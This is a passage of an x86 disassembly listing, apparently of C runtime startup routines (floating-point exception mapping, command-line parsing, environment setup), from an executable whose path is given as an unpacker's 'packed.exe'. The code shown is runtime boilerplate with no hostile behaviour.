		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+50h]
		mov	dword ptr [edx+eax+8], 0
		jmp	short loc_42F052
; ---------------------------------------------------------------------------

loc_42F082:				; CODE XREF: sub_42EFB0+BAj
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+58h]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C000008Eh
		jnz	short loc_42F0A5
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 83h
		jmp	loc_42F12D
; ---------------------------------------------------------------------------

loc_42F0A5:				; CODE XREF: sub_42EFB0+E4j
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C0000090h
		jnz	short loc_42F0BC
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 81h
		jmp	short loc_42F12D
; ---------------------------------------------------------------------------

loc_42F0BC:				; CODE XREF: sub_42EFB0+FEj
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C0000091h
		jnz	short loc_42F0D3
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 84h
		jmp	short loc_42F12D
; ---------------------------------------------------------------------------

loc_42F0D3:				; CODE XREF: sub_42EFB0+115j
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000093h
		jnz	short loc_42F0EA
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 85h
		jmp	short loc_42F12D
; ---------------------------------------------------------------------------

loc_42F0EA:				; CODE XREF: sub_42EFB0+12Cj
		mov	ecx, [ebp+var_10]
		cmp	dword ptr [ecx], 0C000008Dh
		jnz	short loc_42F101
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+58h], 82h
		jmp	short loc_42F12D
; ---------------------------------------------------------------------------

loc_42F101:				; CODE XREF: sub_42EFB0+143j
		mov	eax, [ebp+var_10]
		cmp	dword ptr [eax], 0C000008Fh
		jnz	short loc_42F118
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+58h], 86h
		jmp	short loc_42F12D
; ---------------------------------------------------------------------------

loc_42F118:				; CODE XREF: sub_42EFB0+15Aj
		mov	edx, [ebp+var_10]
		cmp	dword ptr [edx], 0C0000092h
		jnz	short loc_42F12D
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+58h], 8Ah

loc_42F12D:				; CODE XREF: sub_42EFB0+F0j
					; sub_42EFB0+10Aj ...
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+58h]
		push	edx
		push	8
		call	[ebp+var_4]
		add	esp, 8
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	[eax+58h], ecx
		jmp	short loc_42F15E
; ---------------------------------------------------------------------------

loc_42F147:				; CODE XREF: sub_42EFB0+92j
		mov	edx, [ebp+var_10]
		mov	dword ptr [edx+8], 0
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+4]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4

loc_42F15E:				; CODE XREF: sub_42EFB0+195j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_18]
		mov	[edx+54h], eax
		or	eax, 0FFFFFFFFh

loc_42F16A:				; CODE XREF: sub_42EFB0+3Dj
					; sub_42EFB0+5Aj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42EFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F170	proc near		; CODE XREF: sub_42EFB0+19p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_42F17A:				; CODE XREF: sub_42F170+30j
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		cmp	edx, [ebp+arg_0]
		jz	short loc_42F1A2
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ecx, dword_45444C
		imul	ecx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		cmp	[ebp+var_4], edx
		jnb	short loc_42F1A2
		jmp	short loc_42F17A
; ---------------------------------------------------------------------------

loc_42F1A2:				; CODE XREF: sub_42F170+12j
					; sub_42F170+2Ej
		mov	eax, dword_45444C
		imul	eax, 0Ch
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		cmp	[ebp+var_4], ecx
		jnb	short loc_42F1BE
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		cmp	eax, [ebp+arg_0]
		jz	short loc_42F1C2

loc_42F1BE:				; CODE XREF: sub_42F170+42j
		xor	eax, eax
		jmp	short loc_42F1C5
; ---------------------------------------------------------------------------

loc_42F1C2:				; CODE XREF: sub_42F170+4Cj
		mov	eax, [ebp+var_4]

loc_42F1C5:				; CODE XREF: sub_42F170+50j
		mov	esp, ebp
		pop	ebp
		retn
sub_42F170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F1D0	proc near		; CODE XREF: sub_422100+E8p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F4AEC, 0
		jnz	short loc_42F1E2
		call	sub_429890

loc_42F1E2:				; CODE XREF: sub_42F1D0+Bj
		mov	eax, dword_4F4AE4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jnz	short loc_42F24C

loc_42F1F6:				; CODE XREF: sub_42F1D0:loc_42F233j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 22h
		jz	short loc_42F235
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jz	short loc_42F235
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		push	eax
		call	sub_435D50
		add	esp, 4
		test	eax, eax
		jz	short loc_42F233
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_42F233:				; CODE XREF: sub_42F1D0+58j
		jmp	short loc_42F1F6
; ---------------------------------------------------------------------------

loc_42F235:				; CODE XREF: sub_42F1D0+39j
					; sub_42F1D0+44j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 22h
		jnz	short loc_42F24A
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_42F24A:				; CODE XREF: sub_42F1D0+6Fj
		jmp	short loc_42F263
; ---------------------------------------------------------------------------

loc_42F24C:				; CODE XREF: sub_42F1D0+24j
					; sub_42F1D0+91j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		cmp	eax, 20h
		jle	short loc_42F263
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42F24C
; ---------------------------------------------------------------------------

loc_42F263:				; CODE XREF: sub_42F1D0:loc_42F24Aj
					; sub_42F1D0+86j ...
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_42F285
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	edx, 20h
		jg	short loc_42F285
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42F263
; ---------------------------------------------------------------------------

loc_42F285:				; CODE XREF: sub_42F1D0+9Cj
					; sub_42F1D0+A8j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_42F1D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F290	proc near		; CODE XREF: sub_422100+CDp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	dword_4F4AEC, 0
		jnz	short loc_42F2A4
		call	sub_429890

loc_42F2A4:				; CODE XREF: sub_42F290+Dj
		mov	[ebp+var_8], 0
		mov	eax, dword_4F3420
		mov	[ebp+var_4], eax

loc_42F2B3:				; CODE XREF: sub_42F290+57j
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_42F2E9
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 3Dh
		jz	short loc_42F2D1
		mov	edx, [ebp+var_8]
		add	edx, 1
		mov	[ebp+var_8], edx

loc_42F2D1:				; CODE XREF: sub_42F290+36j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_41BC70
		add	esp, 4
		mov	ecx, [ebp+var_4]
		lea	edx, [ecx+eax+1]
		mov	[ebp+var_4], edx
		jmp	short loc_42F2B3
; ---------------------------------------------------------------------------

loc_42F2E9:				; CODE XREF: sub_42F290+2Bj
		push	6Dh
		push	offset dword_43D430
		push	2
		mov	eax, [ebp+var_8]
		lea	ecx, ds:4[eax*4]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_C]
		mov	dword_4F33D4, edx
		cmp	dword_4F33D4, 0
		jnz	short loc_42F324
		push	9
		call	sub_422270
		add	esp, 4

loc_42F324:				; CODE XREF: sub_42F290+88j
		mov	eax, dword_4F3420
		mov	[ebp+var_4], eax
		jmp	short loc_42F337
; ---------------------------------------------------------------------------

loc_42F32E:				; CODE XREF: sub_42F290:loc_42F3A5j
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+var_10]
		mov	[ebp+var_4], ecx

loc_42F337:				; CODE XREF: sub_42F290+9Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42F3A7
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41BC70
		add	esp, 4
		add	eax, 1
		mov	[ebp+var_10], eax
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 3Dh
		jz	short loc_42F3A5
		push	79h
		push	offset dword_43D430
		push	2
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	edx, [ebp+var_C]
		mov	[edx], eax
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jnz	short loc_42F38A
		push	9
		call	sub_422270
		add	esp, 4

loc_42F38A:				; CODE XREF: sub_42F290+EEj
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx]
		push	eax
		call	sub_41F620
		add	esp, 8
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx

loc_42F3A5:				; CODE XREF: sub_42F290+CCj
		jmp	short loc_42F32E
; ---------------------------------------------------------------------------

loc_42F3A7:				; CODE XREF: sub_42F290+AFj
		push	2
		mov	edx, dword_4F3420
		push	edx
		call	sub_41CA10
		add	esp, 8
		mov	dword_4F3420, 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	dword_4F4AE8, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_42F290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F3E0	proc near		; CODE XREF: sub_422100+C8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		cmp	dword_4F4AEC, 0
		jnz	short loc_42F3F4
		call	sub_429890

loc_42F3F4:				; CODE XREF: sub_42F3E0+Dj
		push	104h
		push	offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	0
		call	dword_4F5344	; GetModuleFileNameA
		mov	off_4F33E4, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		mov	eax, dword_4F4AE4
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42F427
		mov	edx, off_4F33E4
		mov	[ebp+var_14], edx
		jmp	short loc_42F42F
; ---------------------------------------------------------------------------

loc_42F427:				; CODE XREF: sub_42F3E0+3Aj
		mov	eax, dword_4F4AE4
		mov	[ebp+var_14], eax

loc_42F42F:				; CODE XREF: sub_42F3E0+45j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_10], ecx
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		push	0
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42F4C0
		add	esp, 14h
		push	80h
		push	offset dword_43D43C
		push	2
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		lea	ecx, [eax+edx*4]
		push	ecx
		call	sub_41BE70
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_42F47E
		push	8
		call	sub_422270
		add	esp, 4

loc_42F47E:				; CODE XREF: sub_42F3E0+92j
		lea	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		lea	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_42F4C0
		add	esp, 14h
		mov	eax, [ebp+var_C]
		sub	eax, 1
		mov	dword_4F33C8, eax
		mov	ecx, [ebp+var_8]
		mov	dword_4F33CC, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_42F3E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F4C0	proc near		; CODE XREF: sub_42F3E0+65p
					; sub_42F3E0+B8p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_10]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_4], edx
		cmp	[ebp+arg_4], 0
		jz	short loc_42F4F5
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 4
		mov	[ebp+arg_4], edx

loc_42F4F5:				; CODE XREF: sub_42F4C0+22j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	loc_42F5CD

loc_42F504:				; CODE XREF: sub_42F4C0:loc_42F58Dj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jz	short loc_42F592
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42F592
		mov	ecx, [ebp+var_4]
		xor	edx, edx
		mov	dl, [ecx]
		xor	eax, eax
		mov	al, byte_4F39A1[edx]
		and	eax, 4
		test	eax, eax
		jz	short loc_42F567
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_42F567
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42F567:				; CODE XREF: sub_42F4C0+76j
					; sub_42F4C0+89j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42F58D
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax

loc_42F58D:				; CODE XREF: sub_42F4C0+B8j
		jmp	loc_42F504
; ---------------------------------------------------------------------------

loc_42F592:				; CODE XREF: sub_42F4C0+56j
					; sub_42F4C0+60j
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx
		cmp	[ebp+arg_8], 0
		jz	short loc_42F5B4
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx

loc_42F5B4:				; CODE XREF: sub_42F4C0+E3j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_42F5C8
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx

loc_42F5C8:				; CODE XREF: sub_42F4C0+FDj
		jmp	loc_42F69C
; ---------------------------------------------------------------------------

loc_42F5CD:				; CODE XREF: sub_42F4C0+3Ej
					; sub_42F4C0+1B1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42F5F3
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax

loc_42F5F3:				; CODE XREF: sub_42F4C0+11Ej
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		xor	edx, edx
		mov	dl, byte_4F39A1[ecx]
		and	edx, 4
		test	edx, edx
		jz	short loc_42F64B
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		cmp	[ebp+arg_8], 0
		jz	short loc_42F642
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	[eax], dl
		mov	eax, [ebp+arg_8]
		add	eax, 1
		mov	[ebp+arg_8], eax

loc_42F642:				; CODE XREF: sub_42F4C0+16Dj
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx

loc_42F64B:				; CODE XREF: sub_42F4C0+15Aj
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		cmp	edx, 20h
		jz	short loc_42F677
		mov	eax, [ebp+var_C]
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_42F677
		mov	ecx, [ebp+var_C]
		and	ecx, 0FFh
		cmp	ecx, 9
		jnz	loc_42F5CD

loc_42F677:				; CODE XREF: sub_42F4C0+197j
					; sub_42F4C0+1A3j
		mov	edx, [ebp+var_C]
		and	edx, 0FFh
		test	edx, edx
		jnz	short loc_42F68F
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_42F69C
; ---------------------------------------------------------------------------

loc_42F68F:				; CODE XREF: sub_42F4C0+1C2j
		cmp	[ebp+arg_8], 0
		jz	short loc_42F69C
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx-1], 0

loc_42F69C:				; CODE XREF: sub_42F4C0:loc_42F5C8j
					; sub_42F4C0+1CDj ...
		mov	[ebp+var_14], 0

loc_42F6A3:				; CODE XREF: sub_42F4C0+3F6j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42F6CE

loc_42F6AD:				; CODE XREF: sub_42F4C0+20Cj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42F6C3
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42F6CE

loc_42F6C3:				; CODE XREF: sub_42F4C0+1F6j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42F6AD
; ---------------------------------------------------------------------------

loc_42F6CE:				; CODE XREF: sub_42F4C0+1EBj
					; sub_42F4C0+201j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42F6DD
		jmp	loc_42F8BB
; ---------------------------------------------------------------------------

loc_42F6DD:				; CODE XREF: sub_42F4C0+216j
		cmp	[ebp+arg_4], 0
		jz	short loc_42F6F4
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[edx], eax
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx

loc_42F6F4:				; CODE XREF: sub_42F4C0+221j
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax

loc_42F701:				; CODE XREF: sub_42F4C0+3CFj
		mov	[ebp+var_8], 1
		mov	[ebp+var_10], 0

loc_42F70F:				; CODE XREF: sub_42F4C0+26Cj
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		cmp	eax, 5Ch
		jnz	short loc_42F72E
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_10]
		add	edx, 1
		mov	[ebp+var_10], edx
		jmp	short loc_42F70F
; ---------------------------------------------------------------------------

loc_42F72E:				; CODE XREF: sub_42F4C0+258j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 22h
		jnz	short loc_42F78A
		mov	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 2
		div	ecx
		test	edx, edx
		jnz	short loc_42F782
		cmp	[ebp+var_14], 0
		jz	short loc_42F76F
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 22h
		jnz	short loc_42F766
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42F76D
; ---------------------------------------------------------------------------

loc_42F766:				; CODE XREF: sub_42F4C0+299j
		mov	[ebp+var_8], 0

loc_42F76D:				; CODE XREF: sub_42F4C0+2A4j
		jmp	short loc_42F776
; ---------------------------------------------------------------------------

loc_42F76F:				; CODE XREF: sub_42F4C0+28Dj
		mov	[ebp+var_8], 0

loc_42F776:				; CODE XREF: sub_42F4C0:loc_42F76Dj
		xor	edx, edx
		cmp	[ebp+var_14], 0
		setz	dl
		mov	[ebp+var_14], edx

loc_42F782:				; CODE XREF: sub_42F4C0+287j
		mov	eax, [ebp+var_10]
		shr	eax, 1
		mov	[ebp+var_10], eax

loc_42F78A:				; CODE XREF: sub_42F4C0+277j
					; sub_42F4C0+2FCj
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_10]
		sub	edx, 1
		mov	[ebp+var_10], edx
		test	ecx, ecx
		jz	short loc_42F7BE
		cmp	[ebp+arg_8], 0
		jz	short loc_42F7AF
		mov	eax, [ebp+arg_8]
		mov	byte ptr [eax],	5Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx

loc_42F7AF:				; CODE XREF: sub_42F4C0+2DEj
		mov	edx, [ebp+arg_10]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jmp	short loc_42F78A
; ---------------------------------------------------------------------------

loc_42F7BE:				; CODE XREF: sub_42F4C0+2D8j
		mov	edx, [ebp+var_4]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_42F7E4
		cmp	[ebp+var_14], 0
		jnz	short loc_42F7E9
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 20h
		jz	short loc_42F7E4
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 9
		jnz	short loc_42F7E9

loc_42F7E4:				; CODE XREF: sub_42F4C0+306j
					; sub_42F4C0+317j
		jmp	loc_42F894
; ---------------------------------------------------------------------------

loc_42F7E9:				; CODE XREF: sub_42F4C0+30Cj
					; sub_42F4C0+322j
		cmp	[ebp+var_8], 0
		jz	loc_42F886
		cmp	[ebp+arg_8], 0
		jz	short loc_42F84D
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4F39A1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42F838
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_10]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_10]
		mov	[eax], edx

loc_42F838:				; CODE XREF: sub_42F4C0+34Dj
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	[ecx], al
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		mov	[ebp+arg_8], ecx
		jmp	short loc_42F879
; ---------------------------------------------------------------------------

loc_42F84D:				; CODE XREF: sub_42F4C0+337j
		mov	edx, [ebp+var_4]
		xor	eax, eax
		mov	al, [edx]
		xor	ecx, ecx
		mov	cl, byte_4F39A1[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_42F879
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx

loc_42F879:				; CODE XREF: sub_42F4C0+38Bj
					; sub_42F4C0+3A1j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx

loc_42F886:				; CODE XREF: sub_42F4C0+32Dj
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	loc_42F701
; ---------------------------------------------------------------------------

loc_42F894:				; CODE XREF: sub_42F4C0:loc_42F7E4j
		cmp	[ebp+arg_8], 0
		jz	short loc_42F8A9
		mov	ecx, [ebp+arg_8]
		mov	byte ptr [ecx],	0
		mov	edx, [ebp+arg_8]
		add	edx, 1
		mov	[ebp+arg_8], edx

loc_42F8A9:				; CODE XREF: sub_42F4C0+3D8j
		mov	eax, [ebp+arg_10]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_10]
		mov	[edx], ecx
		jmp	loc_42F6A3
; ---------------------------------------------------------------------------

loc_42F8BB:				; CODE XREF: sub_42F4C0+218j
		cmp	[ebp+arg_4], 0
		jz	short loc_42F8D3
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+arg_4]
		add	ecx, 4
		mov	[ebp+arg_4], ecx

loc_42F8D3:				; CODE XREF: sub_42F4C0+3FFj
		mov	edx, [ebp+arg_C]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_C]
		mov	[ecx], eax
		mov	esp, ebp
		pop	ebp
		retn
sub_42F4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42F8F0	proc near		; CODE XREF: sub_422100+BEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	[ebp+var_18], 0
		cmp	dword_4F35E4, 0
		jnz	short loc_42F94A
		call	dword_4F531C	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jz	short loc_42F928
		mov	dword_4F35E4, 1
		jmp	short loc_42F94A
; ---------------------------------------------------------------------------

loc_42F928:				; CODE XREF: sub_42F8F0+2Aj
		call	dword_4F5320	; GetEnvironmentStrings
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_42F943
		mov	dword_4F35E4, 2
		jmp	short loc_42F94A
; ---------------------------------------------------------------------------

loc_42F943:				; CODE XREF: sub_42F8F0+45j
		xor	eax, eax
		jmp	loc_42FB05
; ---------------------------------------------------------------------------

loc_42F94A:				; CODE XREF: sub_42F8F0+1Bj
					; sub_42F8F0+36j ...
		cmp	dword_4F35E4, 1
		jnz	loc_42FA4E
		cmp	[ebp+var_14], 0
		jnz	short loc_42F973
		call	dword_4F531C	; GetEnvironmentStringsW
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0
		jnz	short loc_42F973
		xor	eax, eax
		jmp	loc_42FB05
; ---------------------------------------------------------------------------

loc_42F973:				; CODE XREF: sub_42F8F0+6Bj
					; sub_42F8F0+7Aj
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax

loc_42F979:				; CODE XREF: sub_42F8F0:loc_42F9A3j
